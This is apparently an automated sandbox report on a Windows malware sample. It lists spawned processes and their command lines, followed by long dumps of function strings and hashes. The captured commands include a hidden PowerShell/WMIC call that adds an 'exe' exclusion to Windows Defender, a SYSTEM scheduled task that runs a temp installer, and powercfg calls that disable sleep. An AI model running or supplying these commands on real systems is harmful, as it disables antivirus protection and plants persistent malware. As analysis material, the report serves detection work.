Commandline:	"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Imagebase:	0x340000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	02:32:31
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	02:32:31
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	02:32:31
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0x470000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	02:32:32
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0x9d0000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	02:32:32
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\gpupdate.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\gpupdate.exe" /force
Imagebase:	0xcf0000
File size:	25'088 bytes
MD5 hash:	6DC3720EA74B49C8ED64ACA3E0162AC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	02:32:32
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	02:32:34
Start date:	21/08/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /CREATE /TN "bhigQxvKbgfszOKTET" /SC once /ST 02:33:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe\" kd /CVdidr 525403 /S" /V1 /F
Imagebase:	0x6f0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	02:32:34
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	02:32:35
Start date:	21/08/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff7d39e0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	02:32:35
Start date:	21/08/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff7d39e0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	02:32:35
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7403e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	02:32:35
Start date:	21/08/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff7d39e0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	02:32:35
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	02:32:35
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	235
Start time:	02:33:03
Start date:	21/08/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	29.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	97
Total number of Limit Nodes:	2

Executed Functions

Function 015F1B5F Relevance: 258.7, Strings: 204, Instructions: 3699
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\, xrefs: 015F3730
U, xrefs: 015F52D0
>, xrefs: 015F37B0
a, xrefs: 015F2362
G{B, xrefs: 015F4AF8
C, xrefs: 015F4852
S, xrefs: 015F4D40
8, xrefs: 015F3A8C
!UnB, xrefs: 015F4D9E
O, xrefs: 015F4436
2, xrefs: 015F4EC4
R, xrefs: 015F308C
#, xrefs: 015F1E06
2, xrefs: 015F3802
', xrefs: 015F28F0
0, xrefs: 015F353E
R, xrefs: 015F1DF0
!, xrefs: 015F50B0
,, xrefs: 015F1F36
[, xrefs: 015F34A0
MkcA, xrefs: 015F32A4
b, xrefs: 015F2ED2
&, xrefs: 015F3E76
VIA, xrefs: 015F32E6
], xrefs: 015F3C22
a, xrefs: 015F4C88
_, xrefs: 015F4DFA
(, xrefs: 015F4D12
_, xrefs: 015F2514
4, xrefs: 015F3760
5, xrefs: 015F4A82
A, xrefs: 015F30F6
C, xrefs: 015F43C8
7, xrefs: 015F3504
2, xrefs: 015F33AC
', xrefs: 015F3654
6, xrefs: 015F399E
B, xrefs: 015F1E9E
0, xrefs: 015F36DE
2HB, xrefs: 015F2A5A
F, xrefs: 015F35CA
\, xrefs: 015F1CEB
Pz+B, xrefs: 015F51B0
X, xrefs: 015F45D4
[j2B, xrefs: 015F23BC
2, xrefs: 015F2094
M, xrefs: 015F510C
Z, xrefs: 015F2C1A
E, xrefs: 015F492A
H, xrefs: 015F37C8
R, xrefs: 015F47EA
,, xrefs: 015F45A0
], xrefs: 015F3F40
X, xrefs: 015F3030
W, xrefs: 015F1F98
W, xrefs: 015F3280
#, xrefs: 015F1FCC
A, xrefs: 015F45EC
\, xrefs: 015F497E
\, xrefs: 015F4D1E
!, xrefs: 015F4B04
R, xrefs: 015F4088
O, xrefs: 015F3386
Z, xrefs: 015F483A
8, xrefs: 015F2C0E
\, xrefs: 015F238A
9, xrefs: 015F20E6
8, xrefs: 015F488C
H, xrefs: 015F240A
I, xrefs: 015F40D8
9, xrefs: 015F340E
L, xrefs: 015F419C
4, xrefs: 015F23B2
MkcA, xrefs: 015F1FB6
@, xrefs: 015F4E44
H, xrefs: 015F4B88
!, xrefs: 015F2C26
9, xrefs: 015F3B1E
., xrefs: 015F34AC
D, xrefs: 015F2F28
O, xrefs: 015F2074
3%%A, xrefs: 015F4614
L, xrefs: 015F3866
2, xrefs: 015F52DC
], xrefs: 015F35E0
N, xrefs: 015F24B8
>, xrefs: 015F23F6
+, xrefs: 015F34DE
), xrefs: 015F2456
*, xrefs: 015F4DB8
6, xrefs: 015F3362
\, xrefs: 015F4398
., xrefs: 015F51F0
', xrefs: 015F2254
#, xrefs: 015F32BE
Q, xrefs: 015F4450
?, xrefs: 015F2AE8
', xrefs: 015F22D2
#, xrefs: 015F30A6
B, xrefs: 015F315A
+, xrefs: 015F2196
!{?, xrefs: 015F1E10
#, xrefs: 015F51BC
0, xrefs: 015F21E6
Q, xrefs: 015F4D2A
:, xrefs: 015F508C
Z, xrefs: 015F4066
@, xrefs: 015F4B60
3, xrefs: 015F39AA
S, xrefs: 015F52AE
5, xrefs: 015F26E4
J, xrefs: 015F4D7A
., xrefs: 015F20F0
+, xrefs: 015F3B06
A, xrefs: 015F1E4A
,, xrefs: 015F320C
], xrefs: 015F4702
?, xrefs: 015F3F34
', xrefs: 015F3D3C
], xrefs: 015F27D6
5, xrefs: 015F333E
5, xrefs: 015F2038
[, xrefs: 015F2162
D, xrefs: 015F46CE
X, xrefs: 015F494C
", xrefs: 015F3CF4
L, xrefs: 015F3298
G, xrefs: 015F250A
?L9B, xrefs: 015F48B6
N, xrefs: 015F4D92
1, xrefs: 015F44C8
G, xrefs: 015F499C
+, xrefs: 015F2544
\, xrefs: 015F2F0E
., xrefs: 015F341A
T, xrefs: 015F4CB6
', xrefs: 015F35BE
W, xrefs: 015F2FDC
5, xrefs: 015F3B2A
k!+A, xrefs: 015F23D6
8, xrefs: 015F2660
C5B, xrefs: 015F3ED8
VIA, xrefs: 015F1FEE
_, xrefs: 015F4972
&, xrefs: 015F4966
C5B, xrefs: 015F2A8C
b, xrefs: 015F49D0
1, xrefs: 015F25C8
B, xrefs: 015F1D02
2, xrefs: 015F409E
2, xrefs: 015F2C52
U, xrefs: 015F4F4A
6, xrefs: 015F4CAA
L, xrefs: 015F2490
7, xrefs: 015F21B6
^, xrefs: 015F4342
_, xrefs: 015F2500
E, xrefs: 015F47AC
2HB, xrefs: 015F3EA6
J, xrefs: 015F5348
6, xrefs: 015F2598
;, xrefs: 015F4BBE
W, xrefs: 015F1D69
8, xrefs: 015F405A
D, xrefs: 015F1CFB
], xrefs: 015F2270
-, xrefs: 015F533C
9, xrefs: 015F26DA
0, xrefs: 015F2346
N, xrefs: 015F3896
_, xrefs: 015F3902
L, xrefs: 015F1FAC
X, xrefs: 015F1DA2
!, xrefs: 015F4072
", xrefs: 015F28A8
[j2B, xrefs: 015F376C
F, xrefs: 015F4560
', xrefs: 015F47B8
G, xrefs: 015F38F6
+, xrefs: 015F26C6
+, xrefs: 015F393C
1, xrefs: 015F39D8
I, xrefs: 015F2C8C
_, xrefs: 015F38EA
), xrefs: 015F3820
,{>, xrefs: 015F5412
CTcB, xrefs: 015F46F6
k!+A, xrefs: 015F378A
3, xrefs: 015F25A2
;, xrefs: 015F48DA
F, xrefs: 015F225E
z#GB, xrefs: 015F4EFA
B, xrefs: 015F2F34
2, xrefs: 015F243C
], xrefs: 015F2AF4
a, xrefs: 015F3700
6, xrefs: 015F2056
R, xrefs: 015F2C3C
b, xrefs: 015F1CC8
&, xrefs: 015F2A2A
., xrefs: 015F216C
|>XA, xrefs: 015F42FA
', xrefs: 015F43F8
!{?, xrefs: 015F30B2

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: VIA$VIA$!$!$!$!$!UnB$"$"$#$#$#$#$#$&$&$&$'$'$'$'$'$'$'$'$($)$)$*$+$+$+$+$+$+$,$,$,$,{>$-$.$.$.$.$.$0$0$0$0$1$1$1$2$2$2$2$2$2$2$2$3$3$3%%A$4$4$5$5$5$5$5$6$6$6$6$6$7$7$8$8$8$8$8$9$9$9$9$:$;$;$>$>$?$?$?L9B$@$@$A$A$A$B$B$B$B$C$C$C5B$C5B$CTcB$D$D$D$E$E$F$F$F$G$G$G$G{B$H$H$H$I$I$J$J$L$L$L$L$L$M$MkcA$MkcA$N$N$N$O$O$O$Pz+B$Q$Q$R$R$R$R$R$S$S$T$U$U$W$W$W$W$X$X$X$X$Z$Z$Z$[$[$[j2B$[j2B$\$\$\$\$\$\$\$]$]$]$]$]$]$]$^$_$_$_$_$_$_$a$a$a$b$b$b$k!+A$k!+A$z#GB$|>XA$!{?$!{?$2HB$2HB
API String ID: 0-1163021576
Opcode ID: ff35bea341a1233ce11b20f58cea60974826852bdcf14cbff683478225a4f6db
Instruction ID: aabcfdcee070612473a762a3aa983c1e6345a4f629cb1cd93ceefe0cc650632c
Opcode Fuzzy Hash: ff35bea341a1233ce11b20f58cea60974826852bdcf14cbff683478225a4f6db
Instruction Fuzzy Hash: E363A5B8D456698BDB24CF66D940BAAFBB1FB56304F01B1E99408B7240D7799EC48F0C

Function 015F1B70 Relevance: 258.7, Strings: 204, Instructions: 3694
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\, xrefs: 015F3730
U, xrefs: 015F52D0
>, xrefs: 015F37B0
a, xrefs: 015F2362
G{B, xrefs: 015F4AF8
C, xrefs: 015F4852
S, xrefs: 015F4D40
8, xrefs: 015F3A8C
!UnB, xrefs: 015F4D9E
O, xrefs: 015F4436
2, xrefs: 015F4EC4
R, xrefs: 015F308C
#, xrefs: 015F1E06
2, xrefs: 015F3802
', xrefs: 015F28F0
0, xrefs: 015F353E
R, xrefs: 015F1DF0
!, xrefs: 015F50B0
,, xrefs: 015F1F36
[, xrefs: 015F34A0
MkcA, xrefs: 015F32A4
b, xrefs: 015F2ED2
&, xrefs: 015F3E76
VIA, xrefs: 015F32E6
], xrefs: 015F3C22
a, xrefs: 015F4C88
_, xrefs: 015F4DFA
(, xrefs: 015F4D12
_, xrefs: 015F2514
4, xrefs: 015F3760
5, xrefs: 015F4A82
A, xrefs: 015F30F6
C, xrefs: 015F43C8
7, xrefs: 015F3504
2, xrefs: 015F33AC
', xrefs: 015F3654
6, xrefs: 015F399E
B, xrefs: 015F1E9E
0, xrefs: 015F36DE
2HB, xrefs: 015F2A5A
F, xrefs: 015F35CA
\, xrefs: 015F1CEB
Pz+B, xrefs: 015F51B0
X, xrefs: 015F45D4
[j2B, xrefs: 015F23BC
2, xrefs: 015F2094
M, xrefs: 015F510C
Z, xrefs: 015F2C1A
E, xrefs: 015F492A
H, xrefs: 015F37C8
R, xrefs: 015F47EA
,, xrefs: 015F45A0
], xrefs: 015F3F40
X, xrefs: 015F3030
W, xrefs: 015F1F98
W, xrefs: 015F3280
#, xrefs: 015F1FCC
A, xrefs: 015F45EC
\, xrefs: 015F497E
\, xrefs: 015F4D1E
!, xrefs: 015F4B04
R, xrefs: 015F4088
O, xrefs: 015F3386
Z, xrefs: 015F483A
8, xrefs: 015F2C0E
\, xrefs: 015F238A
9, xrefs: 015F20E6
8, xrefs: 015F488C
H, xrefs: 015F240A
I, xrefs: 015F40D8
9, xrefs: 015F340E
L, xrefs: 015F419C
4, xrefs: 015F23B2
MkcA, xrefs: 015F1FB6
@, xrefs: 015F4E44
H, xrefs: 015F4B88
!, xrefs: 015F2C26
9, xrefs: 015F3B1E
., xrefs: 015F34AC
D, xrefs: 015F2F28
O, xrefs: 015F2074
3%%A, xrefs: 015F4614
L, xrefs: 015F3866
2, xrefs: 015F52DC
], xrefs: 015F35E0
N, xrefs: 015F24B8
>, xrefs: 015F23F6
+, xrefs: 015F34DE
), xrefs: 015F2456
*, xrefs: 015F4DB8
6, xrefs: 015F3362
\, xrefs: 015F4398
., xrefs: 015F51F0
', xrefs: 015F2254
#, xrefs: 015F32BE
Q, xrefs: 015F4450
?, xrefs: 015F2AE8
', xrefs: 015F22D2
#, xrefs: 015F30A6
B, xrefs: 015F315A
+, xrefs: 015F2196
!{?, xrefs: 015F1E10
#, xrefs: 015F51BC
0, xrefs: 015F21E6
Q, xrefs: 015F4D2A
:, xrefs: 015F508C
Z, xrefs: 015F4066
@, xrefs: 015F4B60
3, xrefs: 015F39AA
S, xrefs: 015F52AE
5, xrefs: 015F26E4
J, xrefs: 015F4D7A
., xrefs: 015F20F0
+, xrefs: 015F3B06
A, xrefs: 015F1E4A
,, xrefs: 015F320C
], xrefs: 015F4702
?, xrefs: 015F3F34
', xrefs: 015F3D3C
], xrefs: 015F27D6
5, xrefs: 015F333E
5, xrefs: 015F2038
[, xrefs: 015F2162
D, xrefs: 015F46CE
X, xrefs: 015F494C
", xrefs: 015F3CF4
L, xrefs: 015F3298
G, xrefs: 015F250A
?L9B, xrefs: 015F48B6
N, xrefs: 015F4D92
1, xrefs: 015F44C8
G, xrefs: 015F499C
+, xrefs: 015F2544
\, xrefs: 015F2F0E
., xrefs: 015F341A
T, xrefs: 015F4CB6
', xrefs: 015F35BE
W, xrefs: 015F2FDC
5, xrefs: 015F3B2A
k!+A, xrefs: 015F23D6
8, xrefs: 015F2660
C5B, xrefs: 015F3ED8
VIA, xrefs: 015F1FEE
_, xrefs: 015F4972
&, xrefs: 015F4966
C5B, xrefs: 015F2A8C
b, xrefs: 015F49D0
1, xrefs: 015F25C8
B, xrefs: 015F1D02
2, xrefs: 015F409E
2, xrefs: 015F2C52
U, xrefs: 015F4F4A
6, xrefs: 015F4CAA
L, xrefs: 015F2490
7, xrefs: 015F21B6
^, xrefs: 015F4342
_, xrefs: 015F2500
E, xrefs: 015F47AC
2HB, xrefs: 015F3EA6
J, xrefs: 015F5348
6, xrefs: 015F2598
;, xrefs: 015F4BBE
W, xrefs: 015F1D69
8, xrefs: 015F405A
D, xrefs: 015F1CFB
], xrefs: 015F2270
-, xrefs: 015F533C
9, xrefs: 015F26DA
0, xrefs: 015F2346
N, xrefs: 015F3896
_, xrefs: 015F3902
L, xrefs: 015F1FAC
X, xrefs: 015F1DA2
!, xrefs: 015F4072
", xrefs: 015F28A8
[j2B, xrefs: 015F376C
F, xrefs: 015F4560
', xrefs: 015F47B8
G, xrefs: 015F38F6
+, xrefs: 015F26C6
+, xrefs: 015F393C
1, xrefs: 015F39D8
I, xrefs: 015F2C8C
_, xrefs: 015F38EA
), xrefs: 015F3820
,{>, xrefs: 015F5412
CTcB, xrefs: 015F46F6
k!+A, xrefs: 015F378A
3, xrefs: 015F25A2
;, xrefs: 015F48DA
F, xrefs: 015F225E
z#GB, xrefs: 015F4EFA
B, xrefs: 015F2F34
2, xrefs: 015F243C
], xrefs: 015F2AF4
a, xrefs: 015F3700
6, xrefs: 015F2056
R, xrefs: 015F2C3C
b, xrefs: 015F1CC8
&, xrefs: 015F2A2A
., xrefs: 015F216C
|>XA, xrefs: 015F42FA
', xrefs: 015F43F8
!{?, xrefs: 015F30B2

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: VIA$VIA$!$!$!$!$!UnB$"$"$#$#$#$#$#$&$&$&$'$'$'$'$'$'$'$'$($)$)$*$+$+$+$+$+$+$,$,$,$,{>$-$.$.$.$.$.$0$0$0$0$1$1$1$2$2$2$2$2$2$2$2$3$3$3%%A$4$4$5$5$5$5$5$6$6$6$6$6$7$7$8$8$8$8$8$9$9$9$9$:$;$;$>$>$?$?$?L9B$@$@$A$A$A$B$B$B$B$C$C$C5B$C5B$CTcB$D$D$D$E$E$F$F$F$G$G$G$G{B$H$H$H$I$I$J$J$L$L$L$L$L$M$MkcA$MkcA$N$N$N$O$O$O$Pz+B$Q$Q$R$R$R$R$R$S$S$T$U$U$W$W$W$W$X$X$X$X$Z$Z$Z$[$[$[j2B$[j2B$\$\$\$\$\$\$\$]$]$]$]$]$]$]$^$_$_$_$_$_$_$a$a$a$b$b$b$k!+A$k!+A$z#GB$|>XA$!{?$!{?$2HB$2HB
API String ID: 0-1163021576
Opcode ID: 2e98c4e7184fa5f81e9c7803c033edfd0b5af5871dd2558c899e943deebe00fb
Instruction ID: a9a5acaf2226226bf71f4b7ee761be3e02673664197cd8f3a46da79017b9b400
Opcode Fuzzy Hash: 2e98c4e7184fa5f81e9c7803c033edfd0b5af5871dd2558c899e943deebe00fb
Instruction Fuzzy Hash: EC63A5B8D456698BDB24CF66D940BAAFBB1FB56304F01B1E99408B7240D7799EC48F0C

Function 015FD050 Relevance: 84.1, Strings: 66, Instructions: 1562
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 015FE095
^, xrefs: 015FD849
Pz+B, xrefs: 015FE4F9
L, xrefs: 015FD73B
?L9B, xrefs: 015FDCE3
_, xrefs: 015FE157
2, xrefs: 015FE625
@, xrefs: 015FE195
Q, xrefs: 015FE0A9
,, xrefs: 015FDA47
-, xrefs: 015FE685
*, xrefs: 015FE11F
M, xrefs: 015FE455
H, xrefs: 015FDF45
!, xrefs: 015FDED5
], xrefs: 015FDB73
CTcB, xrefs: 015FDB69
5, xrefs: 015FDE67
T, xrefs: 015FE047
C, xrefs: 015FDC8F
U, xrefs: 015FE293
@, xrefs: 015FDF23
|>XA, xrefs: 015FD81F
z#GB, xrefs: 015FE243
\, xrefs: 015FDD8B
2, xrefs: 015FE20D
R, xrefs: 015FDC37
', xrefs: 015FDC0D
6, xrefs: 015FE03D
:, xrefs: 015FE3D5
X, xrefs: 015FDA73
\, xrefs: 015FE09F
a, xrefs: 015FE021
;, xrefs: 015FDD01
Q, xrefs: 015FD92B
D, xrefs: 015FDB47
N, xrefs: 015FE0FF
U, xrefs: 015FE619
G{B, xrefs: 015FDECB
1, xrefs: 015FD98F
#, xrefs: 015FE505
b, xrefs: 015FDDD1
,{>, xrefs: 015FE75B
!, xrefs: 015FE3F9
Z, xrefs: 015FDC7B
S, xrefs: 015FE0BB
E, xrefs: 015FDD45
;, xrefs: 015FDF73
!UnB, xrefs: 015FE109
X, xrefs: 015FDD61
O, xrefs: 015FD915
S, xrefs: 015FE5F7
C, xrefs: 015FD8B9
J, xrefs: 015FE691
E, xrefs: 015FDC03
., xrefs: 015FE539
3%%A, xrefs: 015FDAA9
', xrefs: 015FD8E1
8, xrefs: 015FDCBF
J, xrefs: 015FE0EB
\, xrefs: 015FD891
F, xrefs: 015FDA11
G, xrefs: 015FDDA5
A, xrefs: 015FDA87
_, xrefs: 015FDD81
&, xrefs: 015FDD77

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: !$!$!UnB$#$&$'$'$($*$,$,{>$-$.$1$2$2$3%%A$5$6$8$:$;$;$?L9B$@$@$A$C$C$CTcB$D$E$E$F$G$G{B$H$J$J$L$M$N$O$Pz+B$Q$Q$R$S$S$T$U$U$X$X$Z$\$\$\$]$^$_$_$a$b$z#GB$|>XA
API String ID: 0-4104857803
Opcode ID: 63d6c4f0215206e1011ed170a345061af47e49126d021d62d80177da2e636adb
Instruction ID: ebfb42d6e4b2617f1bfefa8ce6e4978a4ce1703e06864585dc81df86f2d3feae
Opcode Fuzzy Hash: 63d6c4f0215206e1011ed170a345061af47e49126d021d62d80177da2e636adb
Instruction Fuzzy Hash: 39E228B4E016298FDB64CF6AC9447AABBF6FB85304F0490E9D508AB351DB758E81CF44

Function 015F713D Relevance: 84.0, Strings: 66, Instructions: 1482
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 015F7C24
2, xrefs: 015F8174
S, xrefs: 015F855E
T, xrefs: 015F7FAC
A, xrefs: 015F79EC
CTcB, xrefs: 015F7ACE
N, xrefs: 015F8064
\, xrefs: 015F7CF0
-, xrefs: 015F85EC
M, xrefs: 015F83BC
!, xrefs: 015F8360
#, xrefs: 015F846C
6, xrefs: 015F7FA2
Z, xrefs: 015F7BE0
\, xrefs: 015F8004
G, xrefs: 015F7D0A
a, xrefs: 015F7F86
G{B, xrefs: 015F7E30
!UnB, xrefs: 015F806E
,{>, xrefs: 015F86C2
1, xrefs: 015F78F4
:, xrefs: 015F833C
', xrefs: 015F7B72
C, xrefs: 015F781E
(, xrefs: 015F7FFA
', xrefs: 015F7846
], xrefs: 015F7AD8
X, xrefs: 015F79D8
L, xrefs: 015F769A
D, xrefs: 015F7AAC
b, xrefs: 015F7D36
C, xrefs: 015F7BF4
^, xrefs: 015F77AE
&, xrefs: 015F7CDC
|>XA, xrefs: 015F777B
@, xrefs: 015F80FA
X, xrefs: 015F7CC6
;, xrefs: 015F7ED8
J, xrefs: 015F85F8
_, xrefs: 015F80BC
U, xrefs: 015F8580
?L9B, xrefs: 015F7C48
@, xrefs: 015F7E88
Q, xrefs: 015F7890
J, xrefs: 015F8050
3%%A, xrefs: 015F7A0E
F, xrefs: 015F7976
E, xrefs: 015F7B68
S, xrefs: 015F8020
., xrefs: 015F84A0
2, xrefs: 015F858C
_, xrefs: 015F7CE6
\, xrefs: 015F77F6
5, xrefs: 015F7DCC
E, xrefs: 015F7CAA
H, xrefs: 015F7EAA
Q, xrefs: 015F800E
!, xrefs: 015F7E3A
;, xrefs: 015F7C66
z#GB, xrefs: 015F81AA
U, xrefs: 015F81FA
*, xrefs: 015F8084
R, xrefs: 015F7B9C
Pz+B, xrefs: 015F8460
,, xrefs: 015F79AC
O, xrefs: 015F787A

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: !$!$!UnB$#$&$'$'$($*$,$,{>$-$.$1$2$2$3%%A$5$6$8$:$;$;$?L9B$@$@$A$C$C$CTcB$D$E$E$F$G$G{B$H$J$J$L$M$N$O$Pz+B$Q$Q$R$S$S$T$U$U$X$X$Z$\$\$\$]$^$_$_$a$b$z#GB$|>XA
API String ID: 0-4104857803
Opcode ID: 72a5b327e2355583099c23c08ea10fde865edce28933985feb1a57b2c3d2c0ce
Instruction ID: 5a22a22476c27da88fd543b54676d42060ff9433ff3148ab3c0936447742f7e9
Opcode Fuzzy Hash: 72a5b327e2355583099c23c08ea10fde865edce28933985feb1a57b2c3d2c0ce
Instruction Fuzzy Hash: 6CB2C3B5D056298FDB64CF6ADD4079ABBF2FB89305F00A0E9950CBB240D7794AC59F08

Function 018F13E8 Relevance: 83.7, Strings: 66, Instructions: 1179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X, xrefs: 018F1CCE
G{B, xrefs: 018F1E38
Q, xrefs: 018F2016
J, xrefs: 018F2600
G, xrefs: 018F1D12
C, xrefs: 018F1BFC
1, xrefs: 018F18FC
T, xrefs: 018F1FB4
U, xrefs: 018F2588
R, xrefs: 018F1BA4
8, xrefs: 018F1C2C
!, xrefs: 018F1E42
!, xrefs: 018F2368
2, xrefs: 018F2594
z#GB, xrefs: 018F21B2
', xrefs: 018F184E
;, xrefs: 018F1EE0
E, xrefs: 018F1CB2
_, xrefs: 018F1CEE
Q, xrefs: 018F1898
5, xrefs: 018F1DD4
Z, xrefs: 018F1BE8
@, xrefs: 018F2102
